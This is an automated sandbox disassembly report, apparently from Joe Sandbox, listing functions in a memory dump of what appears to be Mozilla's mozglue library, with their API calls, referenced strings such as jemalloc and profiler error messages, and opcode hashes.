Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C5249B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
-%llu, xrefs: 6C524825
Ul, xrefs: 6C524F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
schema, xrefs: 6C5248C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8
ProfileBuffer parse error: %s, xrefs: 6C524DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

<jemalloc>, xrefs: 6C4FD827
: (malloc) Error initializing arena, xrefs: 6C4FD82C

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

### ERROR: %s: %s, xrefs: 6C537087
(null), xrefs: 6C53706A, 6C537083

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

(root), xrefs: 6C52354F
expected a Time entry, xrefs: 6C522E36
ProfileBuffer parse error: %s, xrefs: 6C522E3B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

NaN, xrefs: 6C539EAB
-Infinity, xrefs: 6C539E60, 6C539E7B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C4DDC7F
0, xrefs: 6C4DD852
@, xrefs: 6C4DDAF6
1, xrefs: 6C4DDBDD
, xrefs: 6C4DDA88
9, xrefs: 6C4DDE7F
8, xrefs: 6C4DDC08
-, xrefs: 6C4DD7DD

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C545740, 6C54921F, 6C549459, 6C549269, 6C5456C7, 6C545703, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C545740, 6C54921F, 6C549459, 6C549269, 6C5456C7, 6C545703, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

NtQueryVirtualMemory, xrefs: 6C53C431
ntdll.dll, xrefs: 6C53C413

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C4EA625
1, xrefs: 6C4EA824
0, xrefs: 6C4EAB22
' , xrefs: 6C4EA3D8
9, xrefs: 6C4EA5D6
0, xrefs: 6C4EA100

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB
MOZ_CRASH(), xrefs: 6C4F97EA

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
